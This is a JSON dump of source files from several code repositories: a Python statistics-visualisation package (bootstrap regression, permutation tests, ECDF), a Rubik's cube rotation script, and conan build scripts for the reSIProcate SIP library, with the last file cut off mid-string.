[ { "alpha_fraction": 0.4193548262119293, "alphanum_fraction": 0.4193548262119293, "avg_line_length": 11.399999618530273, "blob_id": "b0fa82b55dc8efa7b4ea91336dcfb062a251ab0f", "content_id": "8f751c668e4e0296d66ce6aef7a184c60bfcf61a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 62, "license_type": "permissive", "max_line_length": 21, "num_lines": 5, "path": "/AUTHORS.rst", "repo_name": "RichWolff/statviz", "src_encoding": "UTF-8", "text": "============\nContributors\n============\n\n* richwolff <[email protected]>\n" }, { "alpha_fraction": 0.5761386752128601, "alphanum_fraction": 0.5861092209815979, "avg_line_length": 38.93665313720703, "blob_id": "4e1d0d586a9d1e22cfa3ca721e0a23b765af4fd0", "content_id": "992d86a3eb00274fdfa626b38ed32ddf375b9748", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8826, "license_type": "permissive", "max_line_length": 187, "num_lines": 221, "path": "/statviz/polyfitStats.py", "repo_name": "RichWolff/statviz", "src_encoding": "UTF-8", "text": "class PolyfitStats():\n '''Poly fit creates various statistic visualizations to ... FINISH THIS.\n Parameters:\n - feature: a 1 column numpy series we'd like to use as independent variable\n - target: a 1 column numpy series we'd like to use as dependent variable\n - feature_units:\n '''\n def __init__(self,feature,target,feature_units=1):\n self.feature = feature\n self.target = target\n self.fit_bs_reps = False\n self.fit_reg_line = False\n self.fit_conf_int = False\n self.feature_units = feature_units\n\n if self.feature.name == None:\n self.feature.name = 'Feature'\n\n def confidence_intervals(self,ints=[2.5,97.5]):\n self.conf_intervals = ints\n\n if self.fit_bs_reps == False:\n self.fit_bs_replicates()\n\n self.conf_intervals_values = np.percentile(self.bs_slopes,ints)\n\n self.fit_conf_int = True\n\n return self.conf_intervals_values\n\n def r2(self):\n if self.fit_reg_line == False:\n self.fit_regression()\n return r2_score(self.target,self.pred_y)\n\n def corr(self):\n return np.corrcoef(x=self.feature,y=self.target)[0][1]\n\n def mse(self):\n if self.fit_reg_line == False:\n self.fit_regression()\n return mean_squared_error(self.target,self.pred_y)\n\n def rmse(self):\n if self.fit_reg_line == False:\n self.fit_regression()\n return np.sqrt(mean_squared_error(self.target,self.pred_y))\n\n def tgt_mean(self):\n return np.mean(self.target)\n\n def metrics(self,return_type=None,ax=None):\n '''Returns Corrleation of feature and target, r2,mse,&rmse of fit regressions line\n between the two, and confidence intervals of boot strap samples regression lines\n\n Can be returned as data or as '''\n\n if self.fit_conf_int == False:\n self.confidence_intervals()\n\n data = [self.tgt_mean(),\n self.corr(),\n self.r2(),\n self.mse(),\n self.rmse(),\n self.bs_slopes.min(),\n np.median(self.bs_slopes),\n self.bs_slopes.max(),\n self.conf_intervals_values[0],\n self.conf_intervals_values[1],\n self.feature_units,]\n\n df = pd.DataFrame(data,columns=['Values'],index=['Target Mean','Correlation','R2','MSE','RMSE','Increase Min','Increase Median','Increase Max','CI_Low','CI_High','Feature Units'])\n\n if return_type == 'df':\n return df\n\n elif return_type == 'img':\n assert not ax==None, \"Please pass an axes object to plot img data on\"\n\n from pandas.tools.plotting import table\n\n ax.xaxis.set_visible(False) # hide the x axis\n ax.yaxis.set_visible(False) # hide the y axis\n ax.set_frame_on(False) # no visible frame, uncomment if size is ok\n tabla = table(ax, df, loc='upper right', colWidths=[0.17]*len(df.columns)) # where df is your data frame\n\n return tabla # where df is your data frame\n\n else:\n return data\n\n def fit_bs_replicates(self,deg=1,bs_samples=1000,seed=None):\n np.random.seed(seed)\n indices = np.arange(len(self.feature))\n self.bs_intercepts = np.empty(bs_samples)\n self.bs_slopes = np.empty(bs_samples)\n self.bs_regs = np.empty(bs_samples,dtype=np.object)\n\n for i,n in enumerate(range(bs_samples)):\n bs_indices = np.random.choice(indices,len(indices))\n bs_x = self.feature[bs_indices]\n bs_y = self.target[bs_indices]\n sample_slope, sample_intercept = np.polyfit(bs_x,bs_y,deg=deg)\n\n sample_line_x = np.linspace(self.feature.min(),self.feature.max(),2)\n sample_line_y = [i*sample_slope+sample_intercept for i in sample_line_x]\n\n self.bs_intercepts[i] = sample_intercept\n self.bs_slopes[i] = sample_slope\n self.bs_regs[i] = [sample_line_x,sample_line_y]\n\n self.bs_intercepts = self.bs_intercepts * self.feature_units\n self.bs_slopes = self.bs_slopes * self.feature_units\n self.bs_regs = self.bs_regs * self.feature_units\n self.fit_bs_reps = True\n return None\n\n\n def fit_regression(self,deg=1):\n ## Get regression of line\n self.slope,self.intercept = np.polyfit(self.feature,self.target,deg=deg)\n self.observed_reg_x = np.linspace(self.feature.min(),self.feature.max(),2)\n self.observed_reg_y = [i*self.slope+self.intercept for i in self.observed_reg_x]\n self.pred_y = [x*self.slope+self.intercept for x in self.feature]\n self.fit_reg_line = True\n\n def histogram(self,ax=None, bins=30):\n assert not ax==None, \"Please pass an axes object to plot histogram on\"\n\n if self.fit_bs_reps == False:\n self.fit_bs_replicates()\n\n if self.fit_conf_int == False:\n self.confidence_intervals()\n\n ax.hist(self.bs_slopes,bins=bins)\n low, high = self.conf_intervals_values\n\n ymin,ymax = ax.get_ylim()\n ax.vlines(low,ymin,ymax*.65,color='r')\n ax.vlines(high,ymin,ymax*.65,color='r')\n xlabel = 'Expected {} Return Per {} Unit Increase of {}'.format(self.target.name,self.feature_units,self.feature.name)\n ax.set_xlabel(xlabel,size=12)\n ax.set_title('Expected ' + str(self.target.name) +' Return Per '+str(self.feature_units)+' Unit Increase Of '+ str(self.feature.name),size=16)\n ax.set_ylabel('Occurrences',size=12)\n return ax;\n\n def time_series(self,ax=None,normalize=True):\n assert not ax==None, \"Please pass an axes object to plot time series on\"\n series1 = self.feature.copy()\n series2 = self.target.copy()\n\n if normalize==True:\n series1 = series1.transform(zscore)\n series2 = series2.transform(zscore)\n\n if np.dtype(series1.index) == '<M8[ns]':\n _ = ax.plot(series1);\n _ = ax.plot(series2);\n else:\n _ = series1.plot(ax=ax);\n _ = series2.plot(ax=ax);\n\n ax.legend()\n ax.set_xlabel('Month',size=12)\n ax.set_ylabel('Standardized Values',size=12)\n ax.set_title(str(self.feature.name) + ' vs ' + str(self.target.name) + ' Over Time',size=16)\n return ax;\n\n\n def scatter(self, ax=None, regression_line=False, bootstrap_regression_lines=False, c=None ,cmap=None):\n assert not ax==None, \"Please pass an axes object to plot scatter on\"\n if bootstrap_regression_lines == True:\n if self.fit_bs_reps == False:\n self.fit_bs_replicates()\n for i in range(len(self.bs_regs)):\n #print(self.bs_regs[i][0],self.bs_regs[i][1])\n ax.plot(self.bs_regs[i][0],self.bs_regs[i][1],color='#FFCCCC',alpha=.25)\n\n if regression_line == True:\n if self.fit_reg_line == False:\n self.fit_regression()\n for i in range(len(self.bs_regs)):\n ax.plot(self.observed_reg_x,self.observed_reg_y,color='#FF5555')\n\n ax.scatter(self.feature,self.target,c=c,cmap=cmap)\n ax.set_xlabel(str(self.feature.name),size=12)\n ax.set_ylabel(str(self.target.name),size=12)\n ax.set_title(str(self.feature.name) +' vs ' +str(self.target.name),size=16)\n return ax;\n\n def resids(self,return_type='series',ax=None):\n if self.fit_reg_line == False:\n self.fit_regression()\n\n X = np.linspace(self.feature.min(),self.feature.max(),len(self.feature))\n pred = (X*self.slope)+self.intercept - self.target\n\n resids = zscore(self.target-pred)\n\n if return_type == 'series':\n return resids\n elif return_type == 'img':\n assert not ax==None, \"Please pass an axes object to plot img data on\"\n\n if np.dtype(resids.index) == '<M8[ns]':\n _ = ax.plot(resids,linestyle='None',marker='.');\n else:\n _ = resids.plot(ax=ax,marker='.',linestyle='None')\n\n _ = ax.set_ylabel('Standardized Residuals');\n _ = ax.set_xlabel(resids.index.name);\n _ = ax.set_title('Residuals From {} Predictions'.format(self.target.name));\n xmin,xmax = ax.get_xlim()\n _ = ax.hlines(0,xmin=xmin,xmax=xmax,color='black',alpha=.25,linestyle='--')\n _ = ax.hlines(1,xmin=xmin,xmax=xmax,color='black',alpha=.5,linestyle='--')\n _ = ax.hlines(-1,xmin=xmin,xmax=xmax,color='black',alpha=.5,linestyle='--')\n _ = ax.hlines(2,xmin=xmin,xmax=xmax,color='red',alpha=.35,linestyle='--')\n _ = ax.hlines(-2,xmin=xmin,xmax=xmax,color='red',alpha=.35,linestyle='--')\n return ax # where df is your data frame\n" }, { "alpha_fraction": 0.6387434601783752, "alphanum_fraction": 0.6858638525009155, "avg_line_length": 30.83333396911621, "blob_id": "33656aa4e9b83762c3ed2d411fb38e192ec85fa5", "content_id": "0629fb331b5b63dbfbf2562d088c2d96ef664d9f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 191, "license_type": "permissive", "max_line_length": 58, "num_lines": 6, "path": "/statviz/utils.py", "repo_name": "RichWolff/statviz", "src_encoding": "UTF-8", "text": "import numpy as np\n\ndef get_ci_intervals(a,ci=[.5,99.5,2.5,97.5]):\n confidenceIntervals = np.percentile(a,ci)\n results = {k:v for k,v in zip(ci,confidenceIntervals)}\n return results\n" }, { "alpha_fraction": 0.6784203052520752, "alphanum_fraction": 0.6971589922904968, "avg_line_length": 30.386075973510742, "blob_id": "c3c5382e3a1143731304d2811483a2b9e8854b3b", "content_id": "a6ee17cba378c71eb5c3bf4b4a65e650ac4cf5e4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4963, "license_type": "permissive", "max_line_length": 163, "num_lines": 158, "path": "/statviz/permutationTest.py", "repo_name": "RichWolff/statviz", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\nfrom .utils import get_ci_intervals\n\nmetric_tests = {\n\t'mean':np.mean,\n\t'sum':np.sum,\n\t'median':np.median\n}\n\nclass PermutationTest:\n\tdef __init__(self,data1,data2,data1Name,data2Name,equalize_means=False,metric_test='mean'):\n\t\tself.concat_data = np.concatenate([data1,data2])\n\t\tself.data1Name = data1Name\n\t\tself.data2Name = data2Name\n\t\t\n\t\tif equalize_means:\n\t\t\tself.data1 = data1 - metric_tests[metric_test](data1) + self.concat_data.mean()\n\t\t\tself.data2 = data2 - metric_tests[metric_test](data2) + self.concat_data.mean()\n\t\tif not equalize_means:\n\t\t\tself.data1 = data1\n\t\t\tself.data2 = data2\n\n\t\tif not metric_test in metric_tests.keys():\n\t\t\traise ValueError(f\"metric_test of '{metric_test}' not a valid test. Use one of {', '.join(metric_tests.keys())}\")\n\n\n\t\tself.metric_test = metric_test\n\t\tself.observed_metric = metric_tests[self.metric_test](self.data1) - metric_tests[self.metric_test](data2)\n\t\t\n\tdef _bs_permutation_samples(self,bs_n):\n\t\t\"\"\"Create n randomly permuted samples of two data sets self.data1 and self.data2\n\n\t\t:param bs_n: Number of random permutations to compute\n\t\t:param regex: regular expression used to match tokens using re.findall \n\t\t:return: returns self\n\n\t\t>>> _bs_permutation_samples(1000)\n\t\t>>> self.bs_tests\n\t\tnp.array([1,2,3,4,...,1000])\n\t\t\"\"\"\n\t\tif not type(bs_n) == int:\n\t\t\traise ValueError('Variable \"bs_n\" must be of type integer. Please try again with an integer')\n\n\t\tself.bs_tests = np.empty(bs_n)\n\n\t\tfor i in range(bs_n):\n\t\t\tself._permute_two_arrays()\n\t\t\tself.bs_tests[i] = metric_tests[self.metric_test](self.bs_data1) - metric_tests[self.metric_test](self.bs_data2)\n\n\t\treturn self\n\n\tdef _permute_two_arrays(self):\n\n\t\t\"\"\"Randomly permute two arrays using self.data1 and self.data2\n\n\t\t:return: returns self\n\n\t\t>>> _bs_permutation_samples(1000)\n\t\t>>> self.bs_tests\n\t\tnp.array([1,2,3,4,...,1000])\n\t\t\"\"\"\n\n\t\t#Concat two objects\n\t\tdata = np.concatenate([self.data1,self.data2])\n\t\t\n\t\t#Permute objects and return\n\t\tpermuted = np.random.permutation(data)\n\t\t\n\t\tself.bs_data1 = permuted[:len(self.data1)]\n\t\tself.bs_data2 = permuted[len(self.data1):]\n\t\t\n\t\treturn self\n\t\n\tdef fit_permuted_metrics(self,bs_n=1000):\n\t\tself._bs_permutation_samples(bs_n=bs_n)\n\t\treturn self\n\t\n\tdef fit_get_permuted_metrics(self,bs_n=1000):\n\t\tself._bs_permutation_samples(bs_n=bs_n)\n\t\treturn self.bs_tests\n\t\n\tdef get_permuted_metrics(self):\n\t\t#Check to see if bs metrics were fitted\n\t\tself._test_fit()\n\t\t\n\t\treturn self.bs_tests\n\t\n\tdef fit_permuted_histogram(self,title_size=14,xlabel_size=12,ylabel_size=12,**kwargs):\n\t\tself._test_fit()\n\t\t\n\t\tif not kwargs.get('ax'):\n\t\t\tfig = plt.figure(figsize=kwargs.get('figsize'),dpi=kwargs.get('dpi'))\n\t\t\tax = fig.add_axes([0,0,1,1])\n\n\t\tax.hist(self.bs_tests,bins=kwargs.get('bins'),edgecolor=kwargs.get('edgecolor'),color=kwargs.get('bar_color'));\n\t\t\n\t\tylims = ax.get_ylim() # Get chart height\n\n\t\tax.vlines(x=self.observed_metric,ymin=0,ymax=ylims[1],color='black') # plot observed metric\n\n\t\t# Plot confidence intervals\n\t\tconfidenceIntervals = get_ci_intervals(self.bs_tests)\n \n\t\tfor k,v in zip(confidenceIntervals.keys(),confidenceIntervals.values()):\n\t\t\tylimHigh = ylims[1]/2 if k in (.5,99.5) else ylims[1]\n\t\t\tax.vlines(x=v, ymin=ylims[0], ymax=ylimHigh, color='red');\n\n\n\t\t#Plot x and y labels\n\t\tax.set_ylabel(kwargs.get('ylabel','Occurrences'),size=ylabel_size);\n\t\tax.set_xlabel(kwargs.get('xlabel','Metric Change'),size=xlabel_size);\n\t\tax.set_title(kwargs.get('title',f'{self.data1Name} Vs {self.data2Name} Boot Strapped Sample Changes'),size=title_size);\n\t\t\t\n\t\tself.histogram = fig;\n\t\treturn self\n\n\tdef show_histogram(self,**kwargs):\n\t\tself._test_histogram_fit()\n\n\t\tself.histogram.show()\n\t\treturn self\n\n\tdef save_figure(self,filename,**kwargs):\n\t\tself._test_histogram_fit()\n\n\t\tdirectory = os.path.dirname(os.path.realpath('__file__'))\n\t\tfname = os.path.join(directory,filename)\n\t\tsavePath = os.path.dirname(fname)\n\n\t\tif not os.path.exists(savePath):\n\t\t\tos.mkdir(savePath)\n\n\t\tself.histogram.savefig(fname=fname, bbox_inches = 'tight',**kwargs)\n\t\treturn self\n\n\tdef __repr__(self):\n\t\treturn f\"<PermutationTest(data1Name='{self.data1Name}', data2Name='{self.data2Name}', metric_test='{self.metric_test}', observed_metric={self.observed_metric})>\"\n\n\tdef _test_histogram_fit(self):\n\t\tif not hasattr(self,'histogram'):\n\t\t\traise ValueError(\"Have not created histogram yet. Please create and try again.\")\n\t\treturn self\n\n\tdef _test_fit(self):\n\t\tif not hasattr(self,'bs_tests'):\n\t\t\traise ValueError(\"Permuted metrics not fit, please fit permutations and try again\")\n\n\t\treturn self\n\n\tdef _is_valid_metric_test(self):\n\t\tif not type(self.metric_test) == str:\n\t\t\traise ValueError(f\"metric_test of must be a valid string. Use one of {', '.join(metric_tests.keys())}\")\n\n\t\tif not self.metric_test in metric_tests.keys():\n\t\t\traise ValueError(f\"metric_test of '{self.metric_test}' not a valid test. Use one of {', '.join(metric_tests.keys())}\")\n\n\n\t\t" }, { "alpha_fraction": 0.6707317233085632, "alphanum_fraction": 0.6747967600822449, "avg_line_length": 21.363636016845703, "blob_id": "b82161a0f45e1f400a5271dc34956b94be69e237", "content_id": "e34e22d04adccd8dfb70252550928b7370960667", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 246, "license_type": "permissive", "max_line_length": 44, "num_lines": 11, "path": "/statviz/__init__.py", "repo_name": "RichWolff/statviz", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"Top-level package for statviz.\"\"\"\n\n__author__ = \"\"\"richwolff\"\"\"\n__email__ = '[email protected]'\n__version__ = 'unknown'\n\nfrom .permutationTest import PermutationTest\nfrom .ecdf import ECDF\nfrom .polyfitStats import PolyfitStats\n" }, { "alpha_fraction": 0.5483871102333069, "alphanum_fraction": 0.5645161271095276, "avg_line_length": 19.66666603088379, "blob_id": "bb1508a448c19442de37916ab6d33ee284415e44", "content_id": "61c094d95fcd3a7b2be17eaf47d039b1607fa3b9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 62, "license_type": "permissive", "max_line_length": 36, "num_lines": 3, "path": "/tests/__init__.py", "repo_name": "RichWolff/statviz", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"Unit test package for statviz.\"\"\"\n" }, { "alpha_fraction": 0.6461967825889587, "alphanum_fraction": 0.655268669128418, "avg_line_length": 29.510639190673828, "blob_id": "36008a6eedec4d40746f402c3a84dafe1090082b", "content_id": "8dd4726a1ea97fc81630f6df43d1a99462bc5661", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1433, "license_type": "permissive", "max_line_length": 120, "num_lines": 47, "path": "/statviz/ecdf.py", "repo_name": "RichWolff/statviz", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\nclass ECDF:\n\tdef __init__(self,data):\n\n\t\tif not type(data) == dict:\n\t\t\traise ValueError('Data variable must be a dictionary with Key being the data title and value being an array of data')\n\n\t\tself.data = {k:{'data':v} for k,v in zip(data.keys(),data.values())}\n\n\t\tself.fit_ecdf()\n\n\tdef fit_ecdf(self):\n\t\tfor k in self.data.keys():\n\t\t\tdata = self.data[k]\n\t\t\tdata['x'] = sorted(data['data'])\n\t\t\tdata['n'] = len(data['x'])\n\t\t\tdata['y'] = np.arange(1,data['n']+1)/data['n']\n\n\tdef get_ecdf(self,dataName=None):\n\t\tif dataName:\n\t\t\treturn self.data[dataName]\n\t\treturn data\n\t\n\tdef plot_ecdf(self,plotKeys=[],title_size=14,xlabel_size=12,ylabel_size=12,**kwargs):\n\t\tif not kwargs.get('ax'):\n\t\t\tfig = plt.figure(figsize=kwargs.get('figsize'),dpi=kwargs.get('dpi'))\n\t\t\tax = fig.add_axes([0,0,1,1])\n\n\t\tfor k,v in zip(self.data.keys(),self.data.values()):\n\t\t\tif not k in plotKeys or len(plotKeys) == 0:\n\t\t\t\t\tax.plot(self.data[k]['x'], self.data[k]['y'], marker='.', linestyle='none',label=k)\n\n\t\t#Plot x and y labels\n\t\tax.set_ylabel(kwargs.get('ylabel','ECDF'),size=ylabel_size);\n\t\tax.set_xlabel(kwargs.get('xlabel','Metric'),size=xlabel_size);\n\t\tax.set_title(kwargs.get('title',f'Metric ECDF'),size=title_size);\n\n\t\tplt.legend();\n\n\t\treturn self\n\n\tdef test_ecdf_fit(self):\n\t\tif not hasattr(self,'x'):\n\t\t\traise ValueError(\"Have not fit ECDF yet. Please run fit_ecdf() and try again.\")\n\t\treturn self" } ]
7
jvaque/Rubiks-solver
https://github.com/jvaque/Rubiks-solver
a9051cfe57fc9b2483f493e14dfe275467516d9d
13dfc300c87e12e0470a53a5f5164fb5d8ce539e
b3af6f721635bb26e47266779b017e4ca76bb936
refs/heads/master
2021-01-24T00:32:19.532471
2018-02-27T00:51:22
2018-02-27T00:51:22
122,768,149
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7923250794410706, "alphanum_fraction": 0.7990970611572266, "avg_line_length": 62.28571319580078, "blob_id": "9f2b9d278c0481bd69569c7a1372145b7902fba3", "content_id": "685e3e66e66873c456c1ee2f91285acc3740102d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 443, "license_type": "permissive", "max_line_length": 195, "num_lines": 7, "path": "/README.md", "repo_name": "jvaque/Rubiks-solver", "src_encoding": "UTF-8", "text": "# Rubiks-solver\n\nJust a fun project whith the objective of making a self Rubiks cube solver.\n\nCube is stored as a 6x3x3 array within an object, so there are six faces, and each is made of a three by three array containing another three by three array which stores the colour of that piece.\n\nThe object is expected to have face rotations added and later on other functions will provide scrampling of the cube and hopefully a solving algorithm.\n" }, { "alpha_fraction": 0.42797669768333435, "alphanum_fraction": 0.44601720571517944, "avg_line_length": 28.294116973876953, "blob_id": "9f7a1041058a617da66e76eb098f7f4df82edbe0", "content_id": "6cb6751cda5fae88d08c5c06a10236cabdb4243a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3603, "license_type": "permissive", "max_line_length": 115, "num_lines": 119, "path": "/Rubiks.py", "repo_name": "jvaque/Rubiks-solver", "src_encoding": "UTF-8", "text": "import pprint\r\n\r\nclass PyCube:\r\n def __init__(self):\r\n self.cube = [[['' for k in range(3)] for j in range(3)] for i in range(6)]\r\n self.rotatedFace = [[['' for k in range(3)] for j in range(3)], [['' for k in range(3)] for j in range(4)]]\r\n colours = ['W', 'O', 'G', 'R', 'B', 'Y']\r\n color = 0\r\n for i in range(6):\r\n for j in range(3):\r\n for k in range(3):\r\n self.cube[i][j][k] = colours[color]\r\n color += 1\r\n \r\n #for testing\r\n # for i in range(6):\r\n # counter = 10 * (i+1)\r\n # for j in range(3):\r\n # for k in range(3):\r\n # self.cube[i][j][k] = counter\r\n # counter += 1\r\n #delete between coments\r\n\r\n def show(self):\r\n print()\r\n pprint.pprint(self.cube)\r\n # for debugging\r\n # print()\r\n # pprint.pprint(self.rotatedFace)\r\n \r\n def clearRotatedFace(self):\r\n for i in range(2):\r\n for j in range(3+i):\r\n for k in range(3):\r\n self.rotatedFace[i][j][k] = ''\r\n \r\n def storeFace(self, face):\r\n #Copies over the face selected to the temporal array\r\n for i in range(3):\r\n for j in range(3):\r\n self.rotatedFace[0][i][j] = self.cube[face][i][j]\r\n \r\n def rotateFace(self, face):\r\n #Makes propper rotation of the cube face\r\n for i in range(3):\r\n k = 2\r\n for j in range(3):\r\n self.cube[face][i][j] = self.rotatedFace[0][k][i]\r\n k -= 1\r\n \r\n def storeEdgesWY(self, face):\r\n #If statement just so I dont make stupid mistakes\r\n #Note to future me to remove or have a better system\r\n if face == 0:\r\n for i in range(4):\r\n for j in range(3):\r\n position = i+1\r\n self.rotatedFace[1][i][j] = self.cube[position][0][j]\r\n elif face == 5:\r\n for i in range(4):\r\n for j in range(3):\r\n if i <= 1:\r\n position = i+3\r\n else:\r\n position = i-1\r\n self.rotatedFace[1][i][j] = self.cube[position][2][j]\r\n else:\r\n print(\"ERROR!!!!!!!\")\r\n \r\n def rotateEdgesWY(self, face):\r\n #If statement just so I dont make stupid mistakes\r\n #Note to future me to remove or have a better system\r\n if face == 0:\r\n column = 0\r\n elif face == 5:\r\n column = 2\r\n else:\r\n print(\"ERROR!!!!!!!\")\r\n \r\n for i in range(4):\r\n for j in range(3):\r\n if i == 3:\r\n self.cube[4][column][j] = self.rotatedFace[1][0][j]\r\n else:\r\n self.cube[i+1][column][j] = self.rotatedFace[1][i+1][j]\r\n \r\n def rotateWhite(self):\r\n #Store\r\n self.storeFace(0)\r\n self.storeEdgesWY(0)\r\n \r\n #Move\r\n self.rotateFace(0)\r\n self.rotateEdgesWY(0)\r\n \r\n self.clearRotatedFace()\r\n \r\n def rotateYellow(self):\r\n #Store\r\n self.storeFace(5)\r\n self.storeEdgesWY(5)\r\n \r\n #Move\r\n self.rotateFace(5)\r\n self.rotateEdgesWY(5)\r\n \r\n self.clearRotatedFace()\r\n \r\n\r\n#Just for testing purposes\r\ndef main():\r\n testCube = PyCube()\r\n testCube.show()\r\n testCube.rotateWhite()\r\n testCube.show()\r\n testCube.rotateYellow()\r\n testCube.show()\r\n\r\nmain()" } ]
2
Abhijeet399/Linear-Regression
https://github.com/Abhijeet399/Linear-Regression
54f7d4b86ac3deea7fa4960b555d8fd6eb5c5c8c
93518aa88843888cbecf8fa42472c6183467817c
dca095341bc3bfca0a78e88b050ecd89a15fceb3
refs/heads/master
2020-06-04T23:34:38.793899
2019-06-16T20:36:45
2019-06-16T20:36:45
192,234,391
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6800000071525574, "alphanum_fraction": 0.7147825956344604, "avg_line_length": 25.4761905670166, "blob_id": "0d0026066e2c2a6c00d6d4bb565dee0f3613f658", "content_id": "b9164dc62af13835e5083585c51ba09cc4895be7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 575, "license_type": "no_license", "max_line_length": 73, "num_lines": 21, "path": "/Linear_regression_sklearn.py", "repo_name": "Abhijeet399/Linear-Regression", "src_encoding": "UTF-8", "text": "from sklearn.preprocessing import PolynomialFeatures\r\nfrom sklearn.linear_model import Ridge\r\nfrom sklearn.pipeline import make_pipeline\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n\r\npoly = PolynomialFeatures(5)\r\n\r\ndata_x = np.linspace(1.0, 10.0, 100)[:,np.newaxis]\r\ndata_x=data_x.reshape(-1,1)\r\ndata_y = np.sin(data_x)+0.1*np.power(data_x,2)+0.5*np.random.randn(100,1)\r\n\r\nmodel = make_pipeline(poly, Ridge())\r\nmodel.fit(data_x,data_y)\r\ny_plot = model.predict(data_x)\r\n\r\nplt.scatter(data_x,data_y)\r\nplt.plot(data_x, y_plot, color='red')\r\nplt.subplot()\r\nplt.show()" } ]
1
uilianries/conan-resiprocate
https://github.com/uilianries/conan-resiprocate
9e966416803947d9cbd3482c730a33b56234bf8c
a099acc37e641d5d8e6cc8af0381ee5cbd19a679
6b791c7d5083af0665df51b987cfe05a853a5cb7
refs/heads/release/1.10.2
2021-01-23T08:49:00.359346
2017-09-07T08:18:57
2017-09-07T08:18:57
102,553,982
0
1
null
2017-09-06T02:39:20
2017-09-06T16:25:37
2017-09-07T08:18:58
C++
[ { "alpha_fraction": 0.6779661178588867, "alphanum_fraction": 0.6793785095214844, "avg_line_length": 38.33333206176758, "blob_id": "0ed5fe0c8b310e0db40221aeee9347b545a05fdc", "content_id": "27608d8fda4cd8c9a97661234447972595210d20", "detected_licenses": [ "LicenseRef-scancode-other-permissive", "BSD-3-Clause", "VSL-1.0", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 708, "license_type": "permissive", "max_line_length": 70, "num_lines": 18, "path": "/build.py", "repo_name": "uilianries/conan-resiprocate", "src_encoding": "UTF-8", "text": "import copy\nfrom conan.packager import ConanMultiPackager\n\n\nif __name__ == \"__main__\":\n builder = ConanMultiPackager()\n builder.add_common_builds(shared_option_name=\"resiprocate:shared\")\n extra_builds = copy.deepcopy(builder.builds)\n for settings, options, env_vars, build_requires in extra_builds:\n options[\"resiprocate:with_popt\"] = True\n options[\"resiprocate:with_geoip\"] = True\n options[\"resiprocate:with_repro\"] = True\n options[\"resiprocate:with_tfm\"] = True\n options[\"resiprocate:with_mysql\"] = True\n options[\"resiprocate:with_ssl\"] = True\n options[\"resiprocate:enable_ipv6\"] = True\n builder.builds.extend(extra_builds)\n builder.run()\n" }, { "alpha_fraction": 0.7525951266288757, "alphanum_fraction": 0.7560553550720215, "avg_line_length": 29.421052932739258, "blob_id": "72d9001af121aff9b465b9793e26fcb9ac2873a8", "content_id": "b2f17a886198bebf30df69c8470869afa2113b03", "detected_licenses": [ "LicenseRef-scancode-other-permissive", "BSD-3-Clause", "VSL-1.0", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 578, "license_type": "permissive", "max_line_length": 81, "num_lines": 19, "path": "/test_package/CMakeLists.txt", "repo_name": "uilianries/conan-resiprocate", "src_encoding": "UTF-8", "text": "project(reSIProcateTest)\ncmake_minimum_required(VERSION 2.8)\n\ninclude(${CMAKE_BINARY_DIR}/conanbuildinfo.cmake)\nconan_basic_setup()\n\nfind_package(PkgConfig)\n\nfile(GLOB SOURCE_FILES *.cxx)\ninclude_directories(SYSTEM ${CONAN_INCLUDE_DIRS_RESIPROCATE})\n\nadd_executable(${CMAKE_PROJECT_NAME} ${SOURCE_FILES})\ntarget_link_libraries(${CMAKE_PROJECT_NAME} ${CONAN_LIBS})\ntarget_compile_options(${CMAKE_PROJECT_NAME} PUBLIC -Wno-deprecated-declarations)\n\nenable_testing()\nadd_test(NAME test-all\n WORKING_DIRECTORY ${CMAKE_BINARY_DIR}/bin\n COMMAND ${CMAKE_PROJECT_NAME})\n" }, { "alpha_fraction": 0.5985680818557739, "alphanum_fraction": 0.6007326245307922, "avg_line_length": 52.15044403076172, "blob_id": "ad8dc428b21d5fb2249cd9629aee0f3dd2624bcd", "content_id": "77f39938c66836f389ddeb89729b5f5d7c4be094", "detected_licenses": [ "LicenseRef-scancode-other-permissive", "BSD-3-Clause", "VSL-1.0", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6006, "license_type": "permissive", "max_line_length": 237, "num_lines": 113, "path": "/conanfile.py", "repo_name": "uilianries/conan-resiprocate", "src_encoding": "UTF-8", "text": "import tempfile\nimport os\nfrom conans import ConanFile, AutoToolsBuildEnvironment, tools\n\n\nclass ResiprocateConan(ConanFile):\n name = \"resiprocate\"\n version = \"1.10.2\"\n license = \"https://github.com/resiprocate/resiprocate/blob/master/COPYING\"\n url = \"https://github.com/uilianries/conan-resiprocate\"\n author = \"Uilian Ries <[email protected]>\"\n description = \"C++ implementation of SIP, ICE, TURN and related protocols\"\n settings = \"os\", \"compiler\", \"build_type\", \"arch\"\n options = {\"shared\": [True, False], \"with_popt\": [True,False], \"with_geoip\": [True, False], \"with_repro\": [True, False], \"with_tfm\": [True, False], \"with_mysql\": [True, False], \"with_ssl\": [True, False], \"enable_ipv6\": [True, False]}\n default_options = \"shared=True\", \"with_popt=False\", \"with_geoip=False\", \"with_repro=False\", \"with_tfm=False\", \"with_mysql=False\", \"with_ssl=False\", \"enable_ipv6=False\"\n generators 